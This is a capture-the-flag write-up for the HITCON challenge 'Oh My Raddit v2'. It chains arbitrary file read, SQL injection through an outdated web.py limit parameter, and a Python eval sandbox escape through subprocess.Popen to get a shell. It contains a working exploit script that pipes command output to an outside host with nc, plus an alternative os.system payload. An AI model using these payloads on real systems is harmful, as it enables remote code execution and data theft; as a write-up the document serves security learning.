### Oh My Raddit v2

(bookgin, kaibro, qazwsxedcrfvtg14, hortune,  
written by bookgin)

We should get shell in order to retrieve the flag in Oh My raddit 2.

#### Arbitrary File Read

Since we have the DES key now, we can first decrypt the ciphertext of the
download command:  
```  
m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf  
```

Let's try specifying the path now. Does it work? Yes, it works!  
```  
m=d&f=app.py  
```

Read the following files:

\- app.py: source code  
\- db.db: but nothing interesting in the database  
\- /proc/self/environ: the full path of app.py is /home/orange/w/app.py  
\- /proc/self/cmdline: python app.py  
\- /proc/self/maps: python 2.7  
\- /flag: Internal Server Error, which means the file exists but cannot be
read  
\- requirements.txt: `pycrypto==2.6.1`, `web.py==0.38` (web.py is outdated)

Here is the source code of `app.py`:

```python  
# coding: UTF-8  
import os  
import web  
import urllib  
import urlparse  
from Crypto.Cipher import DES

web.config.debug = False  
ENCRPYTION_KEY = 'megnnaro'

urls = (  
'/', 'index'  
)  
app = web.application(urls, globals())  
db = web.database(dbn='sqlite', db='db.db')

def encrypt(s):  
length = DES.block_size - (len(s) % DES.block_size)  
s = s + chr(length)*length

cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)  
return cipher.encrypt(s).encode('hex')

def decrypt(s):  
try:  
data = s.decode('hex')  
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

data = cipher.decrypt(data)  
data = data[:-ord(data[-1])]  
return dict(urlparse.parse_qsl(data))  
except Exception as e:  
print e.message  
return {}

def get_posts(limit=None):  
records = []  
for i in db.select('posts', limit=limit, order='ups desc'):  
tmp = {  
'm': 'r',  
't': i.title.encode('utf-8', 'ignore'),  
'u': i.id,  
}  
tmp['param'] = encrypt(urllib.urlencode(tmp))  
tmp['ups'] = i.ups  
if i.file:  
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))  
else:  
tmp['file'] = ''  
  
records.append( tmp )  
return records

def get_urls():  
urls = []  
for i in [10, 100, 1000]:  
data = {  
'm': 'p',  
'l': i  
}  
urls.append( encrypt(urllib.urlencode(data)) )  
return urls

class index:  
def GET(self):  
s = web.input().get('s')  
if not s:  
return web.template.frender('templates/index.html')(get_posts(), get_urls())  
else:  
s = decrypt(s)  
method = s.get('m', '')  
if method and method not in list('rdp'):  
return 'param error'  
if method == 'r':  
uid = s.get('u')  
record = db.select('posts', where='id=$id', vars={'id': uid}).first()  
if record:  
raise web.seeother(record.url)  
else:  
return 'not found'  
elif method == 'd':  
file = s.get('f')  
if not os.path.exists(file):  
return 'not found'  
name = os.path.basename(file)  
web.header('Content-Disposition', 'attachment; filename=%s' % name)  
web.header('Content-Type', 'application/pdf')  
with open(file, 'rb') as fp:  
data = fp.read()  
return data  
elif method == 'p':  
limit = s.get('l')  
return web.template.frender('templates/index.html')(get_posts(limit),
get_urls())  
else:  
return web.template.frender('templates/index.html')(get_posts(), get_urls())

if __name__ == "__main__":  
app.run()  
```

#### Browsing source code / issues

First I found [this
issue](https://github.com/webpy/webpy/commit/becbfb92d7601ddb0aededfdc9a91696bde2430f#diff-
bab5d2282d3362e44ff9cea603fb052f), and it's reported by Orange Tsai, who is
the author of the challenge. Gotcha!

This issue is fixed in webpy 0.39, but the server side still use 0.38! Thus
it's vulnerable to SQLite injection through `limit` parameter.

@kaibro found [another
issue](https://github.com/webpy/webpy/commit/8fa67f40f212fbfe51aa5493fc377c683eff9925).
They try to fix `eval` code execution by passing a empty builtin to it.

```python  
def reparam(string_, dictionary):  
"""  
Takes a string and a dictionary and interpolates the string  
using values from the dictionary. Returns an `SQLQuery` for the result.  
>>> reparam("s = $s", dict(s=True))  
<sql: "s = 't'">  
>>> reparam("s IN $s", dict(s=[1, 2]))  
<sql: 's IN (1, 2)'>  
"""  
dictionary = dictionary.copy() # eval mucks with it  
# disable builtins to avoid risk for remote code exection.  
dictionary['__builtins__'] = object()  
vals = []  
result = []  
for live, chunk in _interpolate(string_):  
if live:  
v = eval(chunk, dictionary)  
result.append(sqlquote(v))  
else:  
result.append(chunk)  
return SQLQuery.join(result, '')  
```

When `eval` takes the second parameter with builtin in it, the current builtin
will be replaced. In the source code the builtins is set to an empty object.
In other words, passing builtin is similarly to replace the current namespace.

```python  
>>> eval('__builtins__',{'__builtins__': object})  
<type 'object'>  
>>> dir(eval('__builtins__',{'__builtins__': object}))  
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__',
'__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__']  
>>> eval('__builtins__')  
<module '__builtin__' (built-in)>  
>>> dir(eval('__builtins__'))  
['ArithmeticError', ... ,'xrange', 'zip']  
```

However, replacing the namespace doesn't prevent us to retrieve other
exploitable classes. We just cannot directly use eval, `__import__` ....

First, list all the classes through `[].__class__.__base__.__subclasses__()`:

`db.select('posts', limit="slowpoke
${[].__class__.__base__.__subclasses__()}", order='ups desc')`

```python  
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type
'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type
'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>,
<type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>,
<type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>,
<type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>,
<type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type
'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type
'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type
'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type
'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>,
<type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type
'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type
'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>,
<type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type
'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type
'posix.stat_result'>, <type 'posix.statvfs_result'>, <class
'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class
'_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class
'_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class
'_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>,
<type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class
'site._Printer'>, <class 'site._Helper'>, <class 'site.Quitter'>, <class
'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type
'_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type
'time.struct_time'>, <type '_thread._localdummy'>, <type 'thread._local'>,
<type 'thread.lock'>, <type 'collections.deque'>, <type 'deque_iterator'>,
<type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type
'operator.attrgetter'>, <type 'operator.methodcaller'>, <type
'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>,
<type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type
'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>,
<type 'itertools.imap'>, <type 'itertools.chain'>, <type
'itertools.compress'>, <type 'itertools.ifilter'>, <type
'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>,
<type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type
'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>,
<type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type
'itertools._grouper'>, <class 'threading._Verbose'>, <type 'select.epoll'>,
<type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>,
<class 'subprocess.Popen'>, <type 'datetime.date'>, <type
'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>,
<class 'string.Template'>, <class 'string.Formatter'>, <type
'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>,
<class 'socket._closedsocket'>, <type '_socket.socket'>, <type
'method_descriptor'>, <class 'socket._socketobject'>, <class
'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class
'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type
'_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type
'_hashlib.HASH'>, <type '_random.Random'>, <type 'cPickle.Unpickler'>, <type
'cPickle.Pickler'>, <class 'web.webapi.OK'>, <class 'web.webapi.Created'>,
<class 'web.webapi.Accepted'>, <class 'web.webapi.NoContent'>, <class
'web.db.SQLParam'>, <class 'web.db.SQLQuery'>, <type 'bz2.BZ2File'>, <type
'bz2.BZ2Compressor'>, <type 'bz2.BZ2Decompressor'>, <type
'pwd.struct_passwd'>, <type 'grp.struct_group'>, <class
'web.template.SafeVisitor'>, <class 'web.template.TemplateResult'>, <class
'web.form.Form'>, <class 'web.form.Input'>, <class 'web.session.Session'>,
<type 'sqlite3.Row'>, <type 'sqlite3.Cursor'>, <type 'sqlite3.Connection'>,
<type 'sqlite3Node'>, <type 'sqlite3.Cache'>, <type 'sqlite3.Statement'>,
<type 'sqlite3.PrepareProtocol'>]  
```

Take a closer look. There is `<class 'subprocess.Popen'>` class, so it's
trivial to RCE now!

My payload:  
```python  
#!/usr/bin/env python3  
import requests  
from Crypto.Cipher import DES

def encrypt(s):  
raw = s.encode()  
pad = 8 - len(raw) % 8  
raw += bytes([pad] * pad)  
print(raw)  
return DES.new('megnnaro').encrypt(raw).hex()

def decrypt(s):  
raw = DES.new('megnnaro').decrypt(bytes.fromhex(s))  
return raw[:-raw[-1]].decode()  
# <class 'subprocess.Popen'>  
h = encrypt("m=p&l=${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc 240.240.240.240 5678',shell=1)}")  
print(requests.get('http://13.115.255.46/?s=' + h).text)  
```

It's worth to mention @qazwsxedcrfvtg14 's more creative payload. I can't
believe that an unbounded method can access `__globals__` in Python 2.7 !

```python  
([t for t in ().__class__.__base__.__subclasses__() if t.__name__ ==
'Sized'][0].__len__).__globals__['__builtins__']['__import__']('os').system('sleep
10')  
```

The flag is `hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}`.